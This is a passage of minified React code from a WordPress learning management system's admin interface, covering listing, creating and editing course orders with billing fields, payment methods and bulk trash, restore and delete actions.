wrong","learning-management-system"),status:"error",isClosable:!0})}}))},W=e=>{z(e),S()},K=e=>{M.mutate(e)},N=e=>{T.mutate(e)};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,{display:"flex",flexWrap:"wrap",justifyContent:{base:"center",lg:"space-between"}},l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(Yn,{tabs:ev,defaultActive:"any",onTabChange:e=>{h(e),v(ee(y,{status:e}))},counts:null===(e=F.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.orders_count,isCounting:F.isLoading})),l().createElement(Kt,{my:{base:2,lg:0}},l().createElement(p.$,{onClick:()=>j(Pt.orders.add),leftIcon:l().createElement(Ln,{fill:"currentColor",width:"16px",height:"16px"})},(0,E.__)("Create New Order","learning-management-system"))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Yy,{setFilterParams:v,isCurrentUserAdmin:b,showUserFilter:!0}),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,F.isLoading||!F.isFetched?l().createElement(wd,null):F.isSuccess&&$(null==F||null===(t=F.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{j(Pt.orders.add)},title:(0,E.__)("No Orders Yet","learning-management-system"),description:(0,E.__)("Your orders will appear here once students start purchasing your courses.","learning-management-system"),primaryButtonLabel:(0,E.__)("Create New Order","learning-management-system"),isResultFiltered:Boolean((null==y?void 0:y.after)||(null==y?void 0:y.before)||(null==y?void 0:y.customer)||"any"!==(null==y?void 0:y.status))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:F.isLoading||F.isFetching||F.isRefetching,isIndeterminate:(null==F||null===(n=F.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)!==P.length&&P.length>0,isChecked:(null==F||null===(r=F.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)===P.length&&!$(null==F||null===(i=F.data)||void 0===i?void 0:i.data),onChange:e=>{var t;return D(e.target.checked?null==F||null===(t=F.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Order","learning-management-system")),l().createElement(Sa,{filterParams:y,filterContentBy:V,orderBy:"id"}))),l().createElement(_n.Th,null,(0,E.__)("Item","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(Sa,{filterParams:y,filterContentBy:V,orderBy:"date"}))),l().createElement(_n.Th,null,(0,E.__)("Status","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Total","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==F||null===(o=F.data)||void 0===o||null===(o=o.data)||void 0===o?void 0:o.map((e=>l().createElement(Jy,{key:null==e?void 0:e.id,data:e,onDeletePress:W,onRestorePress:K,onTrashPress:N,setBulkIds:D,bulkIds:P,isLoading:F.isLoading||F.isFetching||F.isRefetching}))))))))),F.isSuccess&&!$(null==F||null===(m=F.data)||void 0===m?void 0:m.data)&&l().createElement(ba,{extraFilterParams:{status:null==y?void 0:y.status,order:null==y?void 0:y.order,orderby:null==y?void 0:y.orderby},metaData:null==F||null===(c=F.data)||void 0===c?void 0:c.meta,setFilterParams:v,perPageText:(0,E.__)("Orders Per Page:","learning-management-system")})),l().createElement(ta,{openToast:S,status:f,setBulkAction:O,bulkIds:P,setBulkIds:D,trashable:!0}),l().createElement(qn,{isOpen:B,onClose:x,confirmButtonColorScheme:"restore"===I?"primary":void 0,onConfirm:""===I?()=>{Q&&L.mutate(Q)}:()=>{U[I].mutate(P)},action:I,isLoading:""===I?L.isPending:null!==(u=null==U||null===(A=U[I])||void 0===A?void 0:A.isLoading)&&void 0!==u&&u,dialogTexts:{default:{header:(0,E.__)("Deleting order","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},trash:{header:(0,E.__)("Moving orders to trash","learning-management-system"),body:(0,E.__)("Are you sure? The selected orders will be moved to trash.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Orders","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")},restore:{header:(0,E.__)("Restoring Courses","learning-management-system"),body:(0,E.__)("Are you sure? The selected orders will be restored from the trash.","learning-management-system"),confirm:(0,E.__)("Restore","learning-management-system")}}}))};function nv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var av=[{label:(0,E.__)("Pending","learning-management-system"),value:"pending"},{label:(0,E.__)("On Hold","learning-management-system"),value:"on-hold"},{label:(0,E.__)("Completed","learning-management-system"),value:"completed"},{label:(0,E.__)("Cancelled","learning-management-system"),value:"cancelled"},{label:(0,E.__)("Refunded","learning-management-system"),value:"refunded"},{label:(0,E.__)("Failed","learning-management-system"),value:"failed"}];const lv=()=>{var e,t,n,a,r,i,o=(0,Je.mN)(),{handleSubmit:m,setValue:c,register:u,formState:{errors:A,isDirty:y}}=o,f=(0,vt.Zp)(),h=new mt(rt.users),b=new mt(rt.courses),w=new mt(rt.orders),C=(0,We.d)(),x=(0,s.jE)(),S=(0,Pn.I)({queryKey:["users"],queryFn:()=>h.list({orderby:"display_name",order:"asc",per_page:10})}),B=(0,Pn.I)({queryKey:["courses"],queryFn:()=>b.list({per_page:10})}),I=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:e=>w.store(e)},{onSuccess:e=>{we(x,["ordersList",{status:"any",order:"desc",orderby:"date"}],e),C({title:(0,E.__)("New Order Added.","learning-management-system"),isClosable:!0,status:"success"}),f(Pt.orders.list)},onError:e=>{C({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return Ca(y),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.orders.list,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Create Order","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.orders.list},l().createElement(Dl,null))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(Je.Op,o,l().createElement("form",{onSubmit:m((e=>{I.mutate(ne(e))}))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{flex:"1",py:"2"},l().createElement(ke.D,{as:"h2",fontSize:"medium"},(0,E.__)("General","learning-management-system")),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Status","learning-management-system")),l().createElement(aa.l,(0,Re.A)({defaultValue:"pending"},u("status")),av.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label)))))),l().createElement(Qe.a,{flex:"1",py:"2"},l().createElement(ke.D,{as:"h2",fontSize:"medium"},(0,E.__)("Billing","learning-management-system")),l().createElement(Fa,{sx:{".css-2b097c-container":{width:"100%"}},isInvalid:!(null==A||!A.customer_id),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Customer","learning-management-system")),l().createElement(Co,(0,Re.A)({},u("customer_id",{required:"Customer must be selected"}),{styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching customer...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?S.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Users not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search customer by username or email","learning-management-system"),onChange:e=>{c("customer_id",null==e?void 0:e.value.toString(),{shouldDirty:!0})},defaultOptions:S.isSuccess?null===(e=S.data)||void 0===e||null===(e=e.data)||void 0===e?void 0:e.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.display_name," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.email,")"),avatar_url:null==e?void 0:e.avatar_url}))):[],loadOptions:(e,t)=>{if($(e))return t([]);h.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:"".concat(e.display_name," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})),l().createElement(ui.Wt,null,(null==A?void 0:A.customer_id)&&(null==A||null===(t=A.customer_id)||void 0===t?void 0:t.message))))),l().createElement(Qe.a,{py:"2"},l().createElement(Do.c,null)),l().createElement(Fa,{isInvalid:!(null==A||null===(n=A.course_lines)||void 0===n||null===(n=n[0])||void 0===n||!n.course_id),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Course","learning-management-system")),l().createElement(Co,(0,Re.A)({},u("course_lines.0.course_id",{required:"Course must be selected"}),{styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?B.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Course not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search courses","learning-management-system"),onChange:e=>{c("course_lines.0.course_id",null==e?void 0:e.value,{shouldDirty:!0})},defaultOptions:B.isSuccess?null==B||null===(a=B.data)||void 0===a||null===(a=a.data)||void 0===a?void 0:a.map((e=>({value:null==e?void 0:e.id,label:"#".concat(null==e?void 0:e.id," ").concat(null==e?void 0:e.name)}))):[],loadOptions:(e,t)=>{if($(e))return t([]);b.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(ui.Wt,null,(null==A||null===(r=A.course_lines)||void 0===r||null===(r=r[0])||void 0===r?void 0:r.course_id)&&(null==A||null===(i=A.course_lines)||void 0===i||null===(i=i[0])||void 0===i||null===(i=i.course_id)||void 0===i?void 0:i.message))),l().createElement(Qe.a,{py:"2"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{type:"submit",isLoading:I.isPending},(0,E.__)("Create Order","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>f(Pt.orders.list)},(0,E.__)("Cancel","learning-management-system"))))))))))};var rv=n(49824);const iv=e=>{var{groups:t}=e,n=(0,Ye.dU)("gray.50","gray.700"),a=(0,Ye.dU)("gray.200","gray.600");return l().createElement(l().Fragment,null,l().createElement(ke.D,{as:"h2",fontSize:"medium"},(0,E.__)("Groups Details","learning-management-system")),l().createElement(Ug.n,{allowToggle:!0},t.map((e=>l().createElement(Wg.A,{key:e.id,border:"1px",borderColor:a,borderRadius:"md",bg:n,mb:4},l().createElement(QE.J,{_expanded:{bg:"blue.100",color:"blue.800"}},l().createElement(Qe.a,{flex:"1",textAlign:"left"},l().createElement(ft.s,{align:"center"},l().createElement($e.I,{as:Le.d7f,mr:2}),l().createElement(g.E,{fontWeight:"bold"},e.title),l().createElement(Jt.E,{ml:3,colorScheme:"green"},e.emails.length," ",(0,E.__)("Members","learning-management-system")))),l().createElement(rv.Q,null)),l().createElement(zE.v,{pb:4},l().createElement(ft.s,{direction:"column",gap:2},e.plan&&l().createElement(g.E,null,l().createElement("strong",null,(0,E.__)("Plan","learning-management-system"),":")," ",e.plan),e.seats&&l().createElement(g.E,null,l().createElement("strong",null,(0,E.__)("Total Seats","learning-management-system"),":")," ",e.seats),l().createElement(g.E,null,l().createElement("strong",null,(0,E.__)("Members","learning-management-system"),":")," ",e.emails.join(", ")))))))),l().createElement(Qe.a,null,l().createElement(Do.c,null)))};const ov=(e,t)=>{var n;switch(R.currency.position){case"left":default:n="".concat(re(t)).concat(e);break;case"right":n="".concat(e).concat(re(t));break;case"left_space":n="".concat(re(t)," ").concat(e);break;case"right_space":n="".concat(e," ").concat(re(t))}return n};const sv=()=>l().createElement(d.B,{display:"flex",direction:"column",spacing:"8"},l().createElement(St.E,{height:"40px",width:"100px"}),l().createElement(ft.s,{flexWrap:"nowrap",gap:"5"},l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"33%"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"33%"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"33%"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"}))),l().createElement(ft.s,{flexWrap:"nowrap",gap:"5"},l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"2"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"}))),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})),l().createElement(d.B,{display:"flex",flexDirection:"column",flex:"1"},l().createElement(Ba.r,{noOfLines:1,width:"30px"}),l().createElement(St.E,{height:"40px"})));const mv=e=>{var t,n,{country:a,state:r,countriesData:i,statesData:o}=e,{register:s,control:m,formState:{errors:c}}=(0,Je.xW)(),u=(0,Je.FH)({name:"billing.country",defaultValue:a,control:m}),g=null==o||null===(t=o.data)||void 0===t?void 0:t.filter((e=>e.country===u));return l().createElement(d.B,{direction:["column","column","row","row"],spacing:"8"},l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Country","learning-management-system")),l().createElement(aa.l,(0,Re.A)({},s("billing.country"),{defaultValue:a}),null==i||null===(n=i.data)||void 0===n?void 0:n.map((e=>l().createElement("option",{value:e.code,key:e.code},e.name))))),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("State","learning-management-system")),l().createElement(aa.l,(0,Re.A)({},s("billing.state"),{defaultValue:r}),$(g)?l().createElement("option",null,(0,E.__)("No state found","learning-management-system")):g[0].states.map((e=>l().createElement("option",{value:e.code,key:e.code},e.name))))))};function cv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function uv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?cv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):cv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var dv=[{label:(0,E.__)("Pending","learning-management-system"),value:"pending"},{label:(0,E.__)("On Hold","learning-management-system"),value:"on-hold"},{label:(0,E.__)("Completed","learning-management-system"),value:"completed"},{label:(0,E.__)("Cancelled","learning-management-system"),value:"cancelled"},{label:(0,E.__)("Refunded","learning-management-system"),value:"refunded"},{label:(0,E.__)("Failed","learning-management-system"),value:"failed"}];const gv=()=>{var e,t,n,r,i,o,m,c,u,y,h,b,C,S,B,I,O,P,D,_,k,Q,z,q,F,j,V,L,M,R,T,U,W,K,N,G,H,J,X,Y,Z,ee,te,ae,le,re,oe,se,me,ce,ue,de,{orderId:ge}=(0,vt.g)(),Ae=(0,vt.Zp)(),pe=(0,Je.mN)(),{handleSubmit:Ee,register:ye,formState:{errors:ve,isDirty:fe},reset:he,getValues:be}=pe,we=(0,We.d)(),Ce=(0,a.useRef)(),Se=new mt(rt.orders),[Be,Ie]=(0,a.useState)(!1),Oe=(0,s.jE)(),Pe=new mt(rt.countries),_e=new mt(rt.states),ze=(0,a.useMemo)((()=>[{label:(0,E.__)("Standard Paypal","learning-management-system"),value:"paypal",isActive:!0},{label:(0,E.__)("Offline","learning-management-system"),value:"offline",isActive:!0},{label:(0,E.__)("Stripe (Credit Card)","learning-management-system"),value:"stripe",isActive:eu("stripe")},{label:(0,E.__)("Stripe (iDEAL)","learning-management-system"),value:"ideal",isActive:eu("stripe")},{label:(0,E.__)("Lemon Squeezy","learning-management-system"),value:"lemon_squeezy",isActive:eu("lemon-squeezy-integration")},{label:(0,E.__)("Mollie","learning-management-system"),value:"mollie",isActive:eu("mollie")}]),[]),[qe,Fe]=(0,a.useState)([...ze]);(0,a.useEffect)((()=>{Fe([...ze])}),[ze]);var Ve=(0,Pn.I)({queryKey:["countries"],queryFn:()=>Pe.list()}),Le=(0,Pn.I)({queryKey:["states"],queryFn:()=>_e.list()}),Me=(0,Pn.I)({queryKey:["order".concat(ge),ge],queryFn:()=>Se.get(ge)});(0,a.useEffect)((()=>{null!=Me&&Me.isError&&Ae(Pt.notFound)}),[Me,Ae]);var Te=(0,wt.n)(uv({mutationFn:e=>Se.update(ge,e)},{onSuccess:e=>{he(be()),xe(Oe,["ordersList",{status:"any",order:"desc",orderby:"date"}],e),we({title:(0,E.__)("Order updated","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{var t;we({description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}})),Ue=(0,wt.n)(uv({mutationFn:e=>Se.delete(e)},{onSuccess:()=>{we({title:(0,E.__)("Order Deleted","learning-management-system"),isClosable:!0,status:"error"}),Ae(Pt.orders.list),Oe.invalidateQueries({queryKey:["ordersList"]})},onError:e=>{we({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),Xe=()=>{Ie(!1)};return Ca(fe),(0,a.useEffect)((()=>{null!=Me&&Me.isSuccess&&null!=Me&&Me.data&&he(be())}),[null==Me?void 0:Me.data]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.orders.list,_activeLink:on},l().createElement(g.E,null,(0,E.__)("Edit Order","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.orders.list},l().createElement(Dl,null))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},Me.isSuccess&&Ve.isSuccess&&Le.isSuccess?l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(ft.s,{align:"center",justify:"space-between"},l().createElement(ke.D,{as:"h1",fontSize:"x-large"},(0,E.__)("Edit Order","learning-management-system")),l().createElement(Ze.z,null,l().createElement(je.N,{href:null==Me||null===(e=Me.data)||void 0===e?void 0:e.download_url,download:!0,style:{width:"fit-content"},target:"_blank"},l().createElement(Un.K,{variant:"ghost",_hover:{color:"primary.600"},"aria-label":"Download Invoice",fontSize:"20px",title:(0,E.__)("Download Invoice","learning-management-system"),icon:l().createElement(Jm.oSi,null)})),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),onClick:()=>{Ie(!0)}},(0,E.__)("Delete","learning-management-system")))))),l().createElement(Je.Op,pe,l().createElement("form",{onSubmit:Ee((e=>{Te.mutate(ne(e))}))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"6"},l().createElement(d.B,{direction:"column",gap:"4",flexGrow:1},l().createElement(ke.D,{as:"h2",fontSize:"medium"},(0,E.__)("General","learning-management-system")),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Date created","learning-management-system")),l().createElement(Ma.p,{defaultValue:ie(null===(t=Me.data)||void 0===t?void 0:t.date_created),disabled:!0})),l().createElement(Ne.MJ,{isInvalid:!(null==ve||!ve.status)},l().createElement(Ge.l,null,(0,E.__)("Status","learning-management-system")),l().createElement(aa.l,(0,Re.A)({defaultValue:null==Me||null===(n=Me.data)||void 0===n?void 0:n.status},ye("status",{required:(0,E.__)("Select a status.","learning-management-system")})),dv.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label)))),l().createElement(ui.Wt,null,(null==ve?void 0:ve.status)&&(null==ve||null===(r=ve.status)||void 0===r?void 0:r.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||!ve.payment_method)},l().createElement(Ge.l,null,(0,E.__)("Payment method","learning-management-system")),l().createElement(aa.l,(0,Re.A)({placeholder:(0,E.__)("Select a payment method.","learning-management-system"),defaultValue:null==Me||null===(i=Me.data)||void 0===i?void 0:i.payment_method},ye("payment_method",{required:(0,E.__)("Select a payment method.","learning-management-system")})),qe.map((e=>l().createElement("option",{key:e.value,value:e.value,disabled:!(null!=e&&e.isActive)},e.label)))),l().createElement(ui.Wt,null,(null==ve?void 0:ve.payment_method)&&(null==ve||null===(o=ve.payment_method)||void 0===o?void 0:o.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||!ve.transaction_id)},l().createElement(Ge.l,null,(0,E.__)("Transaction ID","learning-management-system")),l().createElement(Qe.a,{as:"span"},Me.data.transaction_id),l().createElement(ui.Wt,null,(null==ve?void 0:ve.transaction_id)&&(null==ve||null===(m=ve.transaction_id)||void 0===m?void 0:m.message))),l().createElement(Ne.MJ,null,l().createElement(Ge.l,null,(0,E.__)("Attachment","learning-management-system")),null!=Me&&null!==(c=Me.data)&&void 0!==c&&null!==(c=c.attachment)&&void 0!==c&&c.length?l().createElement(yy,{files:null==Me||null===(u=Me.data)||void 0===u?void 0:u.attachment,isDownloadable:!0,docPreviewNotice:(0,E.__)("Preview for download materials may not work if you are on local server.","learning-management-system"),hidePreviewNotice:!0}):l().createElement(Ne.eK,null,(0,E.__)("No attachment found.","learning-management-system")))),l().createElement(d.B,{direction:"column",gap:"4",flexGrow:1},l().createElement(ke.D,{as:"h2",fontSize:"medium"},(0,E.__)("Billing","learning-management-system")),l().createElement(d.B,{direction:["column","column","row","row"],spacing:"8"},l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(y=ve.billing)||void 0===y||!y.first_name)},l().createElement(Ge.l,null,(0,E.__)("First Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(h=Me.data)||void 0===h?void 0:h.billing.first_name},ye("billing.first_name"))),l().createElement(ui.Wt,null,(null==ve||null===(b=ve.billing)||void 0===b?void 0:b.first_name)&&(null==ve||null===(C=ve.billing)||void 0===C||null===(C=C.first_name)||void 0===C?void 0:C.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(S=ve.billing)||void 0===S||!S.last_name)},l().createElement(Ge.l,null,(0,E.__)("Last Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(B=Me.data)||void 0===B||null===(B=B.billing)||void 0===B?void 0:B.last_name},ye("billing.last_name"))),l().createElement(ui.Wt,null,(null==ve||null===(I=ve.billing)||void 0===I?void 0:I.last_name)&&(null==ve||null===(O=ve.billing)||void 0===O||null===(O=O.last_name)||void 0===O?void 0:O.message)))),l().createElement(d.B,{direction:["column","column","row","row"],spacing:"8"},l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(P=ve.billing)||void 0===P||!P.email)},l().createElement(Ge.l,null,(0,E.__)("Email address","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"email",defaultValue:null==Me||null===(D=Me.data)||void 0===D?void 0:D.billing.email},ye("billing.email"))),l().createElement(ui.Wt,null,(null==ve||null===(_=ve.billing)||void 0===_?void 0:_.email)&&(null==ve||null===(k=ve.billing)||void 0===k||null===(k=k.email)||void 0===k?void 0:k.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(Q=ve.billing)||void 0===Q||!Q.phone)},l().createElement(Ge.l,null,(0,E.__)("Phone Number","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"number",defaultValue:null==Me||null===(z=Me.data)||void 0===z||null===(z=z.billing)||void 0===z?void 0:z.phone},ye("billing.phone"))),l().createElement(ui.Wt,null,(null==ve||null===(q=ve.billing)||void 0===q?void 0:q.phone)&&(null==ve||null===(F=ve.billing)||void 0===F||null===(F=F.phone)||void 0===F?void 0:F.message)))),l().createElement(d.B,{direction:["column","column","row","row"],spacing:"8"},l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(j=ve.billing)||void 0===j||!j.address_1)},l().createElement(Ge.l,null,(0,E.__)("Address 1","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(V=Me.data)||void 0===V?void 0:V.billing.address_1},ye("billing.address_1"))),l().createElement(ui.Wt,null,(null==ve||null===(L=ve.billing)||void 0===L?void 0:L.address_1)&&(null==ve||null===(M=ve.billing)||void 0===M||null===(M=M.address_1)||void 0===M?void 0:M.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(R=ve.billing)||void 0===R||!R.address_2)},l().createElement(Ge.l,null,(0,E.__)("Address 2","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(T=Me.data)||void 0===T||null===(T=T.billing)||void 0===T?void 0:T.address_2},ye("billing.address_2"))),l().createElement(ui.Wt,null,(null==ve||null===(U=ve.billing)||void 0===U?void 0:U.address_2)&&(null==ve||null===(W=ve.billing)||void 0===W||null===(W=W.address_2)||void 0===W?void 0:W.message)))),l().createElement(d.B,{direction:["column","column","row","row"],spacing:"8"},l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(K=ve.billing)||void 0===K||!K.company)},l().createElement(Ge.l,null,(0,E.__)("Company","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(N=Me.data)||void 0===N?void 0:N.billing.company},ye("billing.company"))),l().createElement(ui.Wt,null,(null==ve||null===(G=ve.billing)||void 0===G?void 0:G.company)&&(null==ve||null===(H=ve.billing)||void 0===H||null===(H=H.company)||void 0===H?void 0:H.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(J=ve.billing)||void 0===J||!J.postcode)},l().createElement(Ge.l,null,(0,E.__)("Postcode","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(X=Me.data)||void 0===X||null===(X=X.billing)||void 0===X?void 0:X.postcode},ye("billing.postcode"))),l().createElement(ui.Wt,null,(null==ve||null===(Y=ve.billing)||void 0===Y?void 0:Y.postcode)&&(null==ve||null===(Z=ve.billing)||void 0===Z||null===(Z=Z.postcode)||void 0===Z?void 0:Z.message)))),l().createElement(mv,{country:null==Me||null===(ee=Me.data)||void 0===ee||null===(ee=ee.billing)||void 0===ee?void 0:ee.country,state:null==Me||null===(te=Me.data)||void 0===te||null===(te=te.billing)||void 0===te?void 0:te.state,countriesData:Ve,statesData:Le}),l().createElement(d.B,{direction:["column","column","row","row"],spacing:"8"},l().createElement(Ne.MJ,{isInvalid:!(null==ve||null===(ae=ve.billing)||void 0===ae||!ae.city)},l().createElement(Ge.l,null,(0,E.__)("City","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==Me||null===(le=Me.data)||void 0===le||null===(le=le.billing)||void 0===le?void 0:le.city},ye("billing.city"))),l().createElement(ui.Wt,null,(null==ve||null===(re=ve.billing)||void 0===re?void 0:re.city)&&(null==ve||null===(oe=ve.billing)||void 0===oe||null===(oe=oe.city)||void 0===oe?void 0:oe.message))),l().createElement(Ne.MJ,{isInvalid:!(null==ve||!ve.customer_note)},l().createElement(Ge.l,null,(0,E.__)("Customer Note","learning-management-system")),l().createElement(He.T,(0,Re.A)({defaultValue:null==Me||null===(se=Me.data)||void 0===se?void 0:se.customer_note},ye("customer_note"))),l().createElement(ui.Wt,null,(null==ve?void 0:ve.customer_note)&&(null==ve||null===(me=ve.customer_note)||void 0===me?void 0:me.message)))))),l().createElement(Qe.a,null,l().createElement(Do.c,null)),eu("group-courses")&&!$(null==Me||null===(ce=Me.data)||void 0===ce?void 0:ce.groups)&&l().createElement(iv,{groups:null==Me||null===(ue=Me.data)||void 0===ue?void 0:ue.groups}),l().createElement(ke.D,{as:"h2",fontSize:"medium"},(0,E.__)("Items","learning-management-system")),null==Me||null===(de=Me.data)||void 0===de||null===(de=de.course_lines)||void 0===de?void 0:de.map((e=>{var t,n;return l().createElement(d.B,{key:null==e?void 